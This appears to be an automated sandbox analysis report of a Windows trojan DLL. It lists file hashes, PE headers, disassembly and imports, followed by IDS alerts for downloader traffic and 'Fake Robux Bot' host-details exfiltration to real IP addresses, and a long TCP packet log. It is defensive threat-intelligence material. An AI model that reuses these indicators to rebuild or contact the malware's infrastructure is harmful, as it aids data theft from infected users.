C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.3340064946831225
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRfBEif4Kax5DqBVKVrdFAMBJTH:Ckka6CBEu4K2DcVKdBJj
MD5:	2638A23E302B7A83E92433696237723A
SHA1:	AC0FCB51655BC74CB04257A2728532A1F35E121E
SHA-256:	7996DBA9C787AF083CE69E6F4F6CC4239C355F5650062CEA0CF5EDEE8167A9B7
SHA-512:	68B69D03C173B01D74E8223D51779444369E3A3FC7E84615105317BBF1649364A3F86443DF0229AC06CA6522E2A0D3974CE2241B95753CC089D568A42188DB80
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	5.9788589122688975
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
File size:	112'128 bytes
MD5:	7cbb8ae0a5e5b3bd87898868e18985b2
SHA1:	3240320706483f3801a745c1548a74242a085296
SHA256:	bc4fadea8a16038ea0547023bfb4618cf4195c2221ecd7a928a21a45233d9cb8
SHA512:	523a1e270548aae7c84dc7b4a8accf8f196668f774ede9e92fe09332743e19247ba22437d500a3ffc72f36ae879d7dc378d612f5aa09d110bf70dfe2b84397e8
SSDEEP:	3072:7u7YfAxIV5znBOSdg13jrYNPsbnHgI1srVjC:AYfAx85znIes3jrYhsjng+
TLSH:	4CB34B1B62E500FBE17A8378C8A34E06E376B8150761AB7F07A4465A1F637D18D3EB61
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'LY.c-7.c-7.c-7.(U4.f-7.(U2..-7.(U3.i-7.c-7.b-7...2.F-7...3.m-7...4.r-7.(U6.`-7.c-6.9-7...>.a-7...7.b-7.....b-7...5.b-7.Richc-7

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x18000147c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x66E182E8 [Wed Sep 11 11:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3b33a0fd02e658d9e1cdca7d0fcc3364

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F4D5465E437h
call 00007F4D5465E734h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F4D5465E2C4h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000EB63h]
dec eax
mov ecx, ebx
call dword ptr [0000EB52h]
call dword ptr [0000EB5Ch]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [0000EB50h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [0000EB44h]
test eax, eax
je 00007F4D5465E439h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [0001968Ah]
call 00007F4D5465E5FEh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00019771h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00019701h], eax
dec eax
mov eax, dword ptr [0001975Ah]
dec eax
mov dword ptr [000195CBh], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x19390	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x193e8	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f000	0xf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1c000	0x105c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x20000	0x670	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x17a70	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17930	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x250	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xeb80	0xec00	ed4934ab0fb50a6abb11462052711da8	False	0.5643869173728814	data	6.490256936858945	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x9ba8	0x9c00	209393a3118ffda450053a65c2ad997b	False	0.4273838141025641	data	4.705479197744838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x1cc0	0xc00	1e1a4a289800a84353a96870eb0cff89	False	0.14290364583333334	data	2.0491334679495297	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1c000	0x105c	0x1200	1d715b154498b91af27de6f29bdd8081	False	0.4348958333333333	data	4.557790093723667	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x1e000	0x1f4	0x200	b28d037e61aed4c8b9bba908fa675cff	False	0.505859375	data	3.6206461713980804	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1f000	0xf8	0x200	ca220b4e602307c00e829209b4722123	False	0.3359375	data	2.5249599901333757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x20000	0x670	0x800	3a50d7e048613f778cc0065be620f45c	False	0.50439453125	data	4.895025829301926	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x1f060	0x91	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.8689655172413793

Imports

DLL

Import

KERNEL32.dll

WinExec, WriteConsoleW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwindEx, InterlockedFlushSList, RtlPcToFileHeader, RaiseException, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, HeapSize, HeapReAlloc, SetStdHandle, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, CloseHandle

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x180001110

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-16T19:32:40.366146+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49732	104.17.112.233	80	TCP
2024-09-16T19:32:40.368042+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	104.17.112.233	80	TCP
2024-09-16T19:32:40.375474+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49731	104.17.112.233	80	TCP
2024-09-16T19:32:41.082305+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49736	104.17.112.233	80	TCP
2024-09-16T19:32:49.338682+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.4	49743	162.159.128.233	443	TCP
2024-09-16T19:32:49.352497+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.4	49744	162.159.128.233	443	TCP
2024-09-16T19:32:49.353189+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.4	49742	162.159.128.233	443	TCP
2024-09-16T19:32:49.611785+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.4	49745	162.159.128.233	443	TCP
2024-09-16T19:33:30.089749+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49769	104.20.4.235	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 16, 2024 19:32:38.959778070 CEST	49730	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.960089922 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.960314989 CEST	49732	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.964627981 CEST	80	49730	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:38.964728117 CEST	49730	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.964873075 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:38.964931011 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.965112925 CEST	80	49732	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:38.965164900 CEST	49732	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.968527079 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.968568087 CEST	49730	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.970427036 CEST	49732	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:38.973416090 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:38.973442078 CEST	80	49730	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:38.975245953 CEST	80	49732	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.434863091 CEST	80	49732	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.434885979 CEST	80	49732	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.435018063 CEST	49732	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:39.435169935 CEST	80	49730	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.435236931 CEST	80	49730	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.435306072 CEST	49730	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:39.438700914 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.438766956 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.438839912 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:39.464879036 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.464950085 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.465023994 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.467968941 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.467979908 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.468041897 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.514024019 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.514058113 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.516608953 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.516623020 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.533792973 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.535569906 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.535602093 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.535666943 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.543531895 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.543546915 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.578434944 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:39.629508018 CEST	49736	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:39.634394884 CEST	80	49736	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.634459972 CEST	49736	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:39.636337042 CEST	49736	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:39.641136885 CEST	80	49736	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:39.991940975 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.992026091 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.996257067 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:39.996270895 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:39.996735096 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.004532099 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.004599094 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.007729053 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.007735968 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.008022070 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.016004086 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.016053915 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.016067028 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.018435955 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.018443108 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.018762112 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.020189047 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.028508902 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.059398890 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.063395977 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.071446896 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.137167931 CEST	80	49736	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.137182951 CEST	80	49736	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.137253046 CEST	49736	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.140412092 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.140484095 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.140558004 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.144027948 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.144061089 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.161324978 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.161468029 CEST	443	49733	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.161600113 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.168509960 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.168740034 CEST	443	49734	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.168926001 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.173630953 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.173830986 CEST	443	49735	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.173909903 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.226581097 CEST	49735	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.226617098 CEST	49734	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.226731062 CEST	49733	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.245672941 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.246546030 CEST	49732	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.248425961 CEST	49730	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.250547886 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.251333952 CEST	80	49732	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.253221989 CEST	80	49730	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.365977049 CEST	80	49732	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.366090059 CEST	80	49732	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.366146088 CEST	49732	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.367921114 CEST	80	49730	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.367957115 CEST	80	49730	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.368041992 CEST	49730	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.375293970 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.375329018 CEST	80	49731	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.375473976 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.376931906 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.377013922 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.377501965 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.377890110 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.377962112 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.378027916 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.378283024 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.378326893 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.378640890 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.378674030 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.379405022 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.379434109 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.379530907 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.379829884 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.379842043 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.612751007 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.612864971 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.634087086 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.634133101 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.634471893 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.652185917 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.695430040 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.936707973 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.936845064 CEST	443	49737	104.20.4.235	192.168.2.4
Sep 16, 2024 19:32:40.936892986 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.948354959 CEST	49737	443	192.168.2.4	104.20.4.235
Sep 16, 2024 19:32:40.949541092 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.949616909 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.951570988 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.951576948 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.951653957 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.951669931 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.953075886 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.953087091 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.953365088 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.953371048 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.953444004 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.953854084 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.954703093 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.954754114 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.956903934 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.956938028 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.957339048 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.958468914 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:40.960939884 CEST	49736	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:40.966492891 CEST	80	49736	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:40.995445013 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.995520115 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:40.999397039 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.082145929 CEST	80	49736	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:41.082192898 CEST	80	49736	104.17.112.233	192.168.2.4
Sep 16, 2024 19:32:41.082304955 CEST	49736	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:41.083266973 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.083313942 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.083394051 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.083647013 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.083666086 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.114558935 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.114650965 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.114736080 CEST	443	49739	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.114788055 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.115890980 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.116003036 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.116097927 CEST	443	49740	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.116156101 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.124391079 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.124583960 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.124644041 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.124676943 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.124782085 CEST	443	49738	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.124836922 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.130757093 CEST	49739	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.131362915 CEST	49740	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.140966892 CEST	49738	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.547662020 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.547760963 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.550792933 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.550818920 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.551165104 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.559370995 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.603431940 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.666520119 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.666606903 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.666675091 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.666691065 CEST	443	49741	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:41.666752100 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:41.678569078 CEST	49741	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:48.670443058 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.670444965 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.670526981 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:48.670536995 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:48.670619965 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.670655012 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.671032906 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.671066999 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:48.671106100 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.671139956 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:48.671183109 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.671274900 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:48.671367884 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.671619892 CEST	49744	443	192.168.2.4	162.159.128.233
